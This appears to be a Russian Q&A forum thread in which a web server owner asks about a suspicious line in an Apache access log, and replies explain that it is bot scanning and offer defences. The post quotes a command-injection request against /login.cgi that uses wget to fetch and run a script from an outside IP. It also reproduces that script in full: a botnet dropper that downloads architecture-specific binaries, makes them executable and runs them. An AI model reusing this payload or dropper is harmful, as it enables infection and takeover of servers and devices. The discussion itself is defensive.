Что за странные запросы на веб сайт?

Question

[Типа Программист]

Стоит apache веб сервер. Решил посмотреть с интереса логи в а именно /var/log/apache2/access.log

Там какой-то запрос непонятный:

"GET /login.cgi?cli=aa%20aa%27;wget%20http://176.32.33.171/bin%20-0%20-%3E%20/tmp/r;sh%20/tmp/r%27$ HTTP/1.1" 400 0 "-" "Hakai/2.0"

Я решил по приколу взять тот ИП что в запросе и в браузере вбить
http://176.32.33.171/bin

Скачался файл с содержимым:

n="kenjiro.arm kenjiro.arm7 kenjiro.mips kenjiro.mpsl"
http_server="176.32.33.171"
dirs="/tmp/ /dev/ /dev/shm/ /var/ /var/run/ /var/tmp/"

for dir in $dirs
do
 >$dir.file && cd $dir
done

for i in $n
do
 cp $SHELL $i
 >$i
 chmod 777 $i
 wget http://$http_server/$i -O- >$i || curl -O http://$http_server/$
 chmod 777 $i
 ./$i
done

Причем перед тем уже было что-то такое, там содержимое если не индентично то ну очень похоже уже не вспомню. А название файла было другое.

Answer 1

[Stalker_RED]

Китайские боты вас нашли и пытаются вам залить шеллкод или вирус.
БЕГN!

Заранее отвечаю на вопрос "а как они меня нашли?":
На сканирование ВСЕХ АДРЕСОВ ipv4 по одному порту (80 же?) нужно около 25 минут. Они не лично вас искали, а вообще любые веб-сервера. И всем пытаются впарить вирус. И этим занимаются не только китайцы.

Comments

[Типа Программист]

:D Ги ну вот новая уязвимость о которой я не знал). Можно читать)

Спасибо за ответ)

Answer 2

[vaut]

Попытка использовать уязвимость CMS и загрузить свой код на ваш сервер.

Comments

[Типа Программист]

:D Ги ну вот новая уязвимость о которой я не знал). Можно читать)

Спасибо за ответ)

[lamer350]

MegaCraZy6, это не уязвимость, боты посылают все виды запросов что только могут в надежде что какой-то то сработает. Наличие таких запросов еще не значит что есть уязвимость.

[Albert Kazan]

Как исправить? Как защититься?

[Андрей Андрющенко]

Albert Kazan, можешь поставить Imunify360, он защищает от подобного рода аттак и кучи всего прочего

Answer 3

[Денис]

iptables настраиваем грамотно с дропом исходящего трафика